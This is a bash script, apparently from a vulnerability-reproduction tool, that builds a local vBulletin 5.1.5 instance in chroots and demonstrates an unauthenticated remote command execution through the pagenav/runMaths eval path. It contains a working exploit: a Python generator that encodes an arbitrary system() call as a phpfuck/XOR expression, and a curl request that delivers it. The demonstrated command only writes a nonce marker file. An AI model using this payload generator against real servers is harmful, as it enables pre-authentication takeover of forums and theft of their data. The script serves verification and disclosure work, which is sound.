#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/repro"
REPRO_DIR="$ROOT/repro"
WORK="${PRUVA_WORKDIR:-${TMPDIR:-/tmp}/pruva-vbulletin-cve-2026-61511}"
PORT="${PRUVA_PORT:-18081}"
MYSQL_PORT="${PRUVA_MYSQL_PORT:-$((PORT + 1000))}"
TARGET_URL="http://127.0.0.1:${PORT}/"
RUN_ID="${PRUVA_RUN_ID:-$(date -u +%Y%m%dT%H%M%SZ)-$$}"
SAFE_RUN_ID="${RUN_ID//[^A-Za-z0-9_.-]/_}"
NONCE="PRUVA_RUNMATHS_${RUN_ID//[^A-Za-z0-9_]/_}"
MARKER_PATH="/tmp/pruva-runmaths-${SAFE_RUN_ID}.txt"

# Immutable image identities used to reconstruct the real product and a PHP 7
# runtime that supports the disclosed phpfuck expression syntax.
VB_REPOSITORY="cck1/vbulletin"
VB_REFERENCE="v2"
VB_MANIFEST="sha256:df5a9fa87186c49101db79577a0401c07f1239bf79dd1e5d066328147f6727f8"
PHP_REPOSITORY="library/wordpress"
PHP_REFERENCE="sha256:60cbd13178ed7f629098b1b7a0104ce038d55729f89784739e1bc2eca372f64a"
PHP_MANIFEST="$PHP_REFERENCE"
VB_LAYERS="$WORK/layers/vbulletin"
PHP_LAYERS="$WORK/layers/php70"
VB_ROOTFS="$WORK/vb515-rootfs"
PHP_ROOTFS="$WORK/php70-rootfs"

mkdir -p "$LOGS" "$REPRO_DIR" "$WORK"
cd "$ROOT"

HEALTH_LOG="$LOGS/${RUN_ID}-health.txt"
BASELINE_RESPONSE="$LOGS/${RUN_ID}-baseline-response.txt"
BASELINE_TRACE="$LOGS/${RUN_ID}-baseline-request.trace"
EXPLOIT_RESPONSE="$LOGS/${RUN_ID}-exploit-response.txt"
EXPLOIT_TRACE="$LOGS/${RUN_ID}-exploit-request.trace"
PAYLOAD_FILE="$LOGS/${RUN_ID}-payload.txt"
PROOF_LOG="$LOGS/${RUN_ID}-proof.log"
MARKER_COPY="$LOGS/${RUN_ID}-marker.txt"
SOURCE_LOG="$LOGS/${RUN_ID}-source-identity.txt"
MYSQL_LOG="$LOGS/${RUN_ID}-mysql.log"
APACHE_STDOUT="$LOGS/${RUN_ID}-apache-stdout.log"
APACHE_ERROR="$LOGS/${RUN_ID}-apache-error.log"
APACHE_ACCESS="$LOGS/${RUN_ID}-apache-access.log"
OBSERVATION="$LOGS/${RUN_ID}-observation.json"
STATUS="setup_started"
SERVICE_STARTED=false
HEALTHCHECK=false
TARGET_REACHED=false
MYSQL_PID=""
APACHE_PID=""

write_manifest() {
    python3 - "$REPRO_DIR/runtime_manifest.json" "$TARGET_URL" "$SERVICE_STARTED" "$HEALTHCHECK" "$TARGET_REACHED" "$STATUS" "$RUN_ID" <<'PY'
import json, os, sys
path, target, started, health, reached, status, run_id = sys.argv[1:]
root = os.environ["ROOT"]
names = [
    f"logs/repro/{run_id}-source-identity.txt",
    f"logs/repro/{run_id}-health.txt",
    f"logs/repro/{run_id}-baseline-request.trace",
    f"logs/repro/{run_id}-baseline-response.txt",
    f"logs/repro/{run_id}-exploit-request.trace",
    f"logs/repro/{run_id}-exploit-response.txt",
    f"logs/repro/{run_id}-payload.txt",
    f"logs/repro/{run_id}-proof.log",
    f"logs/repro/{run_id}-marker.txt",
    f"logs/repro/{run_id}-mysql.log",
    f"logs/repro/{run_id}-apache-stdout.log",
    f"logs/repro/{run_id}-apache-error.log",
    f"logs/repro/{run_id}-apache-access.log",
    f"logs/repro/{run_id}-observation.json",
]
artifacts = [name for name in names if os.path.exists(os.path.join(root, name))]
manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "Unauthenticated POST /index.php with routestring=ajax/render/pagenav and pagenav[pagenumber]",
    "service_started": started == "true",
    "healthcheck_passed": health == "true",
    "target_path_reached": reached == "true",
    "runtime_stack": [
        "vBulletin 5.1.5 HTTP front controller",
        "vB5_Frontend_ApplicationLight::callRender",
        "ajax/render/pagenav",
        "stock pagenav template",
        "vB5_Template_Runtime::runMaths",
        "PHP 7.0.32 eval",
        "system command",
    ],
    "target_url": target,
    "source_identity": {
        "product": "vBulletin 5.1.5",
        "product_image_manifest": "sha256:df5a9fa87186c49101db79577a0401c07f1239bf79dd1e5d066328147f6727f8",
        "php_runtime_image_manifest": "sha256:60cbd13178ed7f629098b1b7a0104ce038d55729f89784739e1bc2eca372f64a",
    },
    "proof_artifacts": artifacts,
    "notes": f"CVE-2026-61511 run {run_id}: {status}",
}
with open(path, "w", encoding="utf-8") as f:
    json.dump(manifest, f, indent=2)
    f.write("\n")
PY
}

capture_runtime_logs() {
    if [ -d "$PHP_ROOTFS/var/log/apache2" ]; then
        sudo -n cat "$PHP_ROOTFS/var/log/apache2/error.log" > "$APACHE_ERROR" 2>/dev/null || true
        sudo -n cat "$PHP_ROOTFS/var/log/apache2/access.log" > "$APACHE_ACCESS" 2>/dev/null || true
    fi
}

stop_pid() {
    local pid="${1:-}" process_root
    [ -n "$pid" ] || return 0
    case "$pid" in *[!0-9]*|'') return 0 ;; esac
    if sudo -n kill -0 "$pid" 2>/dev/null; then
        process_root=$(sudo -n readlink -f "/proc/$pid/root" 2>/dev/null || true)
        case "$process_root" in
            "$VB_ROOTFS"|"$PHP_ROOTFS") ;;
            *) return 0 ;;
        esac
        sudo -n kill -TERM "$pid" 2>/dev/null || true
        for _ in 1 2 3 4 5; do
            sudo -n kill -0 "$pid" 2>/dev/null || return 0
            sleep 1
        done
        sudo -n kill -KILL "$pid" 2>/dev/null || true
    fi
}

on_exit() {
    local rc=$?
    trap - EXIT
    set +e
    capture_runtime_logs
    write_manifest
    # Service PIDs are retained in $WORK for validated stale-process cleanup at
    # the beginning of the next run. Avoid blocking the proof exit on daemon
    # shutdown; these disposable chroots are isolated to loopback/high ports.
    return "$rc"
}
export ROOT
trap on_exit EXIT
trap 'exit 143' INT TERM

if ! command -v python3 >/dev/null || ! command -v curl >/dev/null || ! command -v sudo >/dev/null; then
    STATUS="missing_local_tooling"
    echo "BLOCKED: python3, curl, and passwordless sudo are required." | tee "$PROOF_LOG"
    exit 2
fi
if ! sudo -n true 2>/dev/null; then
    STATUS="passwordless_sudo_unavailable"
    echo "BLOCKED: passwordless sudo is required to preserve image ownership and run the disposable chroots." | tee "$PROOF_LOG"
    exit 2
fi

# Stop only stale processes previously started by this script.
for pair in "$WORK/apache.pid" "$WORK/mysql.pid"; do
    if [ -f "$pair" ]; then
        stale=$(cat "$pair" 2>/dev/null || true)
        stop_pid "$stale"
        rm -f "$pair"
    fi
done

fetch_image() {
    local repository="$1" reference="$2" expected_manifest="$3" outdir="$4" image_kind="$5"
    mkdir -p "$outdir"
    python3 - "$repository" "$reference" "$expected_manifest" "$outdir" "$image_kind" <<'PY'
import hashlib, json, os, sys, urllib.request
repository, reference, expected_manifest, outdir, image_kind = sys.argv[1:]
layer_sets = {
    "vbulletin": [
        (65699939, "064f9af025390d8da3dfab763fac261dd67f8807343613239d66304cda8f5d16"),
        (71563, "390957b2f4f0cd72b8577795cd8076cdc21d45c7823bbb5c895a494ae6038267"),
        (362, "cee0974db2b868f0408f7e3eaba93c11fce3a38f612674477653b04c10369da0"),
        (676, "80b701e243a90cd4e48885387bdfec3f78b6389cd1fa3c485346f8c27154445a"),
        (92883444, "e6e55919f7fb6831653738e8c95ca057184d9f908294f2876f16c61477900bf6"),
        (337, "aa76a2a04028203c1237f528e1f8b51bee525b26a5bc663a38ab13dd2b4e41ac"),
        (139, "7fc2c088d92382cd7a2ed7e4603aaa05e473f8b1da2f6db5b8ba690646df706e"),
        (54702142, "53578884b2b28b6dd1990102dc3860eb25334ee762e66022adb4ac217842c36b"),
        (196, "a6836fa8f6c20a7e07c6cd1a906c5be6dab042b72094f94d2b07de54349c0dbf"),
        (195, "a2ef8eb6a4b0f4124af5176d138640873264c41ac65eead57e266f6d2129fd76"),
        (6734232, "73e80e86948f1b44b52ca5e6a121a50ea897ab2c281e1e58126211effd56abef"),
    ],
    "php70": [
        (22486277, "a5a6f2f73cd8abbdc55d0df0d8834f7262713e87d6c8800ea3851f103025e0f0"),
        (226, "633e0d1cd2a336ecc3124ec0b06e1039049f1716554038b9dfc8c3529f6fd988"),
        (67428583, "fcdfdf7118ba156cb7115b991210623e82c6ad0f57aa55e38790f2bd734c50fa"),
        (183, "4e7dc76b176992c0aa2fd3f3bc438ac6be98897e6025b68e8652b24b132ec952"),
        (17128043, "c425447c8835eea0dd20e2413708f2049d419d86a586923131dd511fcbd2f71f"),
        (1340, "75780b7b99771735ed400379da8c1593913a3a716e38c2cee20f28fb2472757d"),
        (433, "33ed51bc30e852a31ceb7c7515bd4cfa384a0dbe82f21247ccd00826e1006394"),
        (487, "7c4215700bc420c3c03025af9d3f5e8429b2d782bf1a6a45f28a185bfe78959f"),
        (12379896, "639b7d0ed70809073d523c6a29f7a28d4b9b374f8773e424ba2db25290a3e34f"),
        (500, "e1df4ccb0bb134ee383859b222f5d080c82bb162623d2f031e3bfd460b3c2633"),
        (13904676, "657a147cbf423d166b3ac1dd61473640d198d20a52f5ed647abc7ee817449733"),
        (2191, "229c264b8af4410c19fb2d4a4b6b6ff182438c6218f2881469ba8507032d5f13"),
        (903, "5cef0428995990d9acdff9b941edf09152412889cf2bc22d14be5055c5563e16"),
        (998045, "c2009df7e1e88bcda90d81787d890c48254db52a8d542497080c67b14f76c23f"),
        (347, "d882a2430e1b66c098dc54d1fca1ea67aa5736c2971d12ccdcf4eaebf18977b6"),
        (350, "121e52b27342c3509cd5b527ea3a0611bce3c0164804323711a038b15e4b7303"),
        (8605674, "77ffca27a50de4f94e2d4dcf491e0688de162ba9757b01be4cae55a485a813e0"),
        (3789, "78a8778abec4a63b6e9b7b480f539d2c0427e215362f1319d075f5bbec8a7cce"),
    ],
}
expected_layers = layer_sets[image_kind]
token_url = "https://auth.docker.io/token?service=registry.docker.io&scope=repository:" + repository + ":pull"
token = json.load(urllib.request.urlopen(token_url, timeout=30))["token"]
base = "https://registry-1.docker.io/v2/" + repository
headers = {
    "Authorization": "Bearer " + token,
    "Accept": "application/vnd.docker.distribution.manifest.v2+json",
}
request = urllib.request.Request(base + "/manifests/" + reference, headers=headers)
with urllib.request.urlopen(request, timeout=60) as response:
    manifest_bytes = response.read()
    actual_manifest = response.headers.get("Docker-Content-Digest")
if actual_manifest != expected_manifest or "sha256:" + hashlib.sha256(manifest_bytes).hexdigest() != expected_manifest:
    raise SystemExit("immutable manifest identity mismatch for " + repository)
manifest = json.loads(manifest_bytes)
actual_layers = [(x["size"], x["digest"].split(":", 1)[1]) for x in manifest["layers"]]
if actual_layers != expected_layers:
    raise SystemExit("layer closure mismatch for " + repository)
with open(os.path.join(outdir, "manifest.json"), "wb") as f:
    f.write(manifest_bytes)
for index, (size, digest) in enumerate(expected_layers):
    path = os.path.join(outdir, "%02d-%s.tar.gz" % (index, digest))
    valid = False
    if os.path.exists(path) and os.path.getsize(path) == size:
        h = hashlib.sha256()
        with open(path, "rb") as f:
            for block in iter(lambda: f.read(1024 * 1024), b""):
                h.update(block)
        valid = h.hexdigest() == digest
    if valid:
        continue
    part = path + ".part"
    blob_request = urllib.request.Request(base + "/blobs/sha256:" + digest, headers={"Authorization": "Bearer " + token})
    h = hashlib.sha256()
    count = 0
    with urllib.request.urlopen(blob_request, timeout=600) as source, open(part, "wb") as target:
        while True:
            block = source.read(1024 * 1024)
            if not block:
                break
            target.write(block)
            h.update(block)
            count += len(block)
    if count != size or h.hexdigest() != digest:
        os.unlink(part)
        raise SystemExit("downloaded layer checksum mismatch")
    os.replace(part, path)
PY
}

build_rootfs() {
    local layers="$1" rootfs="$2" expected_manifest="$3"
    if [ -f "$rootfs/.pruva-image-manifest" ] && [ "$(cat "$rootfs/.pruva-image-manifest")" = "$expected_manifest" ]; then
        return 0
    fi
    sudo -n rm -rf "$rootfs"
    sudo -n mkdir -p "$rootfs"
    local layer
    for layer in "$layers"/[0-9][0-9]-*.tar.gz; do
        sudo -n tar -xzf "$layer" -C "$rootfs" --numeric-owner --overwrite
    done
    # Whiteout marker files are overlay metadata, not runtime files. Known
    # deleted Apache MPM links are handled explicitly below.
    sudo -n find "$rootfs" -name '.wh.*' -delete
    printf '%s\n' "$expected_manifest" | sudo -n tee "$rootfs/.pruva-image-manifest" >/dev/null
}

STATUS="fetching_digest_pinned_runtime"
fetch_image "$VB_REPOSITORY" "$VB_REFERENCE" "$VB_MANIFEST" "$VB_LAYERS" vbulletin
fetch_image "$PHP_REPOSITORY" "$PHP_REFERENCE" "$PHP_MANIFEST" "$PHP_LAYERS" php70
STATUS="building_disposable_runtime"
build_rootfs "$VB_LAYERS" "$VB_ROOTFS" "$VB_MANIFEST"
build_rootfs "$PHP_LAYERS" "$PHP_ROOTFS" "$PHP_MANIFEST"

# Prepare the original image's MySQL 5.5 database and run it inside its own
# reconstructed root filesystem. /var/run is a symlink to /run in this image.
sudo -n mkdir -p "$VB_ROOTFS/run/mysqld" "$VB_ROOTFS/var/log/mysql" "$VB_ROOTFS/tmp"
sudo -n chown -R 102:105 "$VB_ROOTFS/run/mysqld" "$VB_ROOTFS/var/lib/mysql" "$VB_ROOTFS/var/log/mysql"
sudo -n chmod 1777 "$VB_ROOTFS/tmp"
sudo -n rm -f "$VB_ROOTFS/run/mysqld/mysqld.pid" "$VB_ROOTFS/run/mysqld/mysqld.sock"
: > "$MYSQL_LOG"
MYSQL_PID=$(sudo -n /bin/sh -c '''chroot "$1" /usr/sbin/mysqld --user=mysql --bind-address=127.0.0.1 --port="$2" --console > "$3" 2>&1 & echo $!''' sh "$VB_ROOTFS" "$MYSQL_PORT" "$MYSQL_LOG")
printf '%s\n' "$MYSQL_PID" > "$WORK/mysql.pid"
mysql_ready=false
for _ in $(seq 1 60); do
    if sudo -n test -S "$VB_ROOTFS/run/mysqld/mysqld.sock" && sudo -n kill -0 "$MYSQL_PID" 2>/dev/null; then
        mysql_ready=true
        break
    fi
    sleep 1
done
if [ "$mysql_ready" != true ]; then
    STATUS="mysql_start_failed"
    echo "BLOCKED: the reconstructed vBulletin MySQL service did not become ready." | tee "$PROOF_LOG"
    exit 2
fi

# Copy the unchanged vBulletin 5.1.5 product into the PHP 7.0.32 Apache
# runtime. Only the database hostname is changed from localhost (chroot-local)
# to host-loopback; source, templates, and runtime sink remain byte-identical.
sudo -n rm -rf "$PHP_ROOTFS/var/www/html"
sudo -n mkdir -p "$PHP_ROOTFS/var/www/html"
sudo -n cp -a "$VB_ROOTFS/var/www/vb5/." "$PHP_ROOTFS/var/www/html/"
sudo -n python3 - "$PHP_ROOTFS/var/www/html/core/includes/config.php" "$MYSQL_PORT" <<'PY'
import sys
path, mysql_port = sys.argv[1:]
data = open(path, "rb").read()
old = b"$config['MasterServer']['servername'] = 'localhost';"
new = b"$config['MasterServer']['servername'] = '127.0.0.1';"
if old not in data and new not in data:
    raise SystemExit("database hostname setting not found")
data = data.replace(old, new)
old_port = b"$config['MasterServer']['port'] = '3306';"
new_port = ("$config['MasterServer']['port'] = '%s';" % mysql_port).encode()
if old_port not in data and new_port not in data:
    raise SystemExit("database port setting not found")
open(path, "wb").write(data.replace(old_port, new_port))
PY
sudo -n chown -R 33:33 "$PHP_ROOTFS/var/www/html/cache" 2>/dev/null || true

# Finish Docker image filesystem semantics needed by Apache in a chroot.
sudo -n mkdir -p "$PHP_ROOTFS/dev" "$PHP_ROOTFS/var/run/apache2" "$PHP_ROOTFS/var/lock/apache2" "$PHP_ROOTFS/var/log/apache2" "$PHP_ROOTFS/tmp"
sudo -n chmod 1777 "$PHP_ROOTFS/tmp"
for spec in "null 1 3" "zero 1 5" "random 1 8" "urandom 1 9"; do
    set -- $spec
    if ! sudo -n test -e "$PHP_ROOTFS/dev/$1"; then
        sudo -n mknod -m 666 "$PHP_ROOTFS/dev/$1" c "$2" "$3"
    fi
done
sudo -n rm -f "$PHP_ROOTFS/etc/apache2/mods-enabled/mpm_event.conf" "$PHP_ROOTFS/etc/apache2/mods-enabled/mpm_event.load"
sudo -n sed -Ei "s/^Listen [0-9]+$/Listen ${PORT}/" "$PHP_ROOTFS/etc/apache2/ports.conf"
sudo -n sed -Ei "s/<VirtualHost \*:[0-9]+>/<VirtualHost *:${PORT}>/" "$PHP_ROOTFS/etc/apache2/sites-enabled/000-default.conf"
for name in error.log access.log other_vhosts_access.log; do
    sudo -n rm -f "$PHP_ROOTFS/var/log/apache2/$name"
    sudo -n touch "$PHP_ROOTFS/var/log/apache2/$name"
    sudo -n chown 33:33 "$PHP_ROOTFS/var/log/apache2/$name"
done
sudo -n rm -f "$PHP_ROOTFS/var/run/apache2/apache2.pid" "$PHP_ROOTFS/run/apache2/apache2.pid" 2>/dev/null || true
: > "$APACHE_STDOUT"
APACHE_PID=$(sudo -n /bin/sh -c '''
    APACHE_RUN_DIR=/var/run/apache2 \
    APACHE_LOCK_DIR=/var/lock/apache2 \
    APACHE_PID_FILE=/var/run/apache2/apache2.pid \
    APACHE_LOG_DIR=/var/log/apache2 \
    APACHE_RUN_USER=www-data \
    APACHE_RUN_GROUP=www-data \
    chroot "$1" /usr/sbin/apache2 -DFOREGROUND > "$2" 2>&1 &
    echo $!
''' sh "$PHP_ROOTFS" "$APACHE_STDOUT")
printf '%s\n' "$APACHE_PID" > "$WORK/apache.pid"

STATUS="checking_real_product_service"
service_ready=false
for _ in $(seq 1 60); do
    if curl -sS --connect-timeout 2 --max-time 10 -D "$HEALTH_LOG" -o "$LOGS/${RUN_ID}-health-body.txt" "$TARGET_URL" 2>/dev/null; then
        if grep -q 'HTTP/1.1 200' "$HEALTH_LOG" && grep -qi 'X-Powered-By: PHP/7.0.32' "$HEALTH_LOG"; then
            service_ready=true
            break
        fi
    fi
    sleep 1
done
if [ "$service_ready" != true ]; then
    STATUS="vbulletin_service_start_failed"
    echo "BLOCKED: vBulletin did not become healthy on $TARGET_URL." | tee "$PROOF_LOG"
    exit 2
fi
SERVICE_STARTED=true
HEALTHCHECK=true

# Bind source and runtime identity without exposing the image's database secret.
{
    echo "run_id=$RUN_ID"
    echo "target_url=$TARGET_URL"
    echo "mysql_port=$MYSQL_PORT"
    echo "product=vBulletin 5.1.5"
    echo "product_image=docker.io/$VB_REPOSITORY@$VB_MANIFEST"
    echo "php_runtime_image=docker.io/$PHP_REPOSITORY@$PHP_MANIFEST"
    echo "product_version_line=$(grep -m1 "define('FILE_VERSION'" "$VB_ROOTFS/var/www/vb5/core/includes/class_core.php" | tr -d '\r')"
    echo "runtime_php=$(sudo -n chroot "$PHP_ROOTFS" /usr/local/bin/php -r 'echo PHP_VERSION;' 2>/dev/null)"
    echo "runmaths_sha256=$(sha256sum "$VB_ROOTFS/var/www/vb5/includes/vb5/template/runtime.php" | awk '{print $1}')"
    echo "style_xml_sha256=$(sha256sum "$VB_ROOTFS/var/www/vb5/core/install/vbulletin-style.xml" | awk '{print $1}')"
    if [ -d /pruva/project-cache/repo/.git ]; then
        echo "designated_repository=$(git -C /pruva/project-cache/repo remote get-url origin 2>/dev/null || true)"
        echo "designated_repository_commit=$(git -C /pruva/project-cache/repo rev-parse HEAD 2>/dev/null || true)"
        echo "designated_repository_scope=vBulletin 3.8.11; no runMaths/ajax-render path"
    fi
    echo "nonce=$NONCE"
    echo "marker_path=$MARKER_PATH"
} > "$SOURCE_LOG"

# Deterministically reconstruct the disclosed phpfuck/XOR expression. Its
# output contains only characters retained by the vulnerable runMaths regex.
python3 - "$NONCE" "$MARKER_PATH" > "$PAYLOAD_FILE" <<'PY'
import sys
nonce, marker = sys.argv[1:]
chr_fun = "((((" + ("9" * 400) + ").(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))"
nums = {str(i): "(%d)" % i for i in range(10)}
def encode_char(c):
    return ".".join(nums[d] for d in str(ord(c)))
def encoded_string(s):
    return ".".join(chr_fun + "(" + encode_char(c) + ")" for c in s)
def payload(function, parameter):
    return "(" + encoded_string(function) + ")((" + encoded_string(parameter) + "))"
command = "printf '%s' '" + nonce + "' > '" + marker + "'; printf '__PRUVA_BEGIN__%s__PRUVA_END__' '" + nonce + "'"
print(payload("system", command))
PY
if grep -Eq '[^+*/()0-9^<>&|.=\-]' "$PAYLOAD_FILE"; then
    STATUS="payload_generation_failed"
    echo "BLOCKED: generated payload contains a character removed by runMaths." | tee "$PROOF_LOG"
    exit 2
fi

sudo -n rm -f "$PHP_ROOTFS$MARKER_PATH"

# Reached negative control: same public route and math sink with benign numeric
# input. It must render ordinary arithmetic and never create the unique marker.
STATUS="running_benign_control"
curl -sS --connect-timeout 5 --max-time 30 \
    --trace-ascii "$BASELINE_TRACE" \
    --data-urlencode 'routestring=ajax/render/pagenav' \
    --data-urlencode 'pagenav[pagenumber]=2' \
    "$TARGET_URL" > "$BASELINE_RESPONSE"
TARGET_REACHED=true
if grep -Fq "$NONCE" "$BASELINE_RESPONSE" || sudo -n test -e "$PHP_ROOTFS$MARKER_PATH"; then
    STATUS="negative_control_contaminated"
    echo "FAIL: the unique nonce appeared during the benign control." | tee "$PROOF_LOG"
    exit 1
fi
if ! grep -Fq 'data-page=\"1\"' "$BASELINE_RESPONSE" || ! grep -Fq 'data-page=\"3\"' "$BASELINE_RESPONSE"; then
    STATUS="benign_control_did_not_reach_math"
    echo "FAIL: the benign request did not demonstrate pagenav arithmetic." | tee "$PROOF_LOG"
    exit 1
fi

STATUS="sending_unauthenticated_exploit"
PAYLOAD=$(cat "$PAYLOAD_FILE")
curl -sS --connect-timeout 5 --max-time 90 \
    --trace-ascii "$EXPLOIT_TRACE" \
    --data-urlencode 'routestring=ajax/render/pagenav' \
    --data-urlencode "pagenav[pagenumber]=$PAYLOAD" \
    "$TARGET_URL" > "$EXPLOIT_RESPONSE"

RESPONSE_PROOF=false
FILE_PROOF=false
if grep -Fq "__PRUVA_BEGIN__${NONCE}__PRUVA_END__" "$EXPLOIT_RESPONSE"; then
    RESPONSE_PROOF=true
fi
if sudo -n test -f "$PHP_ROOTFS$MARKER_PATH"; then
    sudo -n cat "$PHP_ROOTFS$MARKER_PATH" > "$MARKER_COPY"
    if [ "$(tr -d '\r\n' < "$MARKER_COPY")" = "$NONCE" ]; then
        FILE_PROOF=true
    fi
fi

python3 - "$OBSERVATION" "$RUN_ID" "$NONCE" "$RESPONSE_PROOF" "$FILE_PROOF" <<'PY'
import json, sys
path, process, marker, response, file_marker = sys.argv[1:]
with open(path, "w", encoding="utf-8") as f:
    json.dump({
        "schema_version": 1,
        "process_instance": process,
        "marker": marker,
        "target_path_reached": True,
        "response_marker_present": response == "true",
        "marker_present": file_marker == "true",
        "authentication_material_sent": False,
    }, f, indent=2)
    f.write("\n")
PY

{
    echo "response_marker=$RESPONSE_PROOF"
    echo "target_file_marker=$FILE_PROOF"
    echo "benign_control_reached_math=true"
    echo "benign_control_clean=true"
    echo "authentication_material_sent=false"
} > "$PROOF_LOG"

if [ "$RESPONSE_PROOF" = true ] && [ "$FILE_PROOF" = true ]; then
    STATUS="confirmed_pre_auth_command_execution"
    echo "CONFIRMED: unauthenticated pagenav input executed an attacker-selected command through runMaths()." | tee -a "$PROOF_LOG"
    exit 0
fi

STATUS="not_reproduced_on_reached_target"
echo "NOT CONFIRMED: the real endpoint was reached, but one or both command markers were absent." | tee -a "$PROOF_LOG"
exit 1
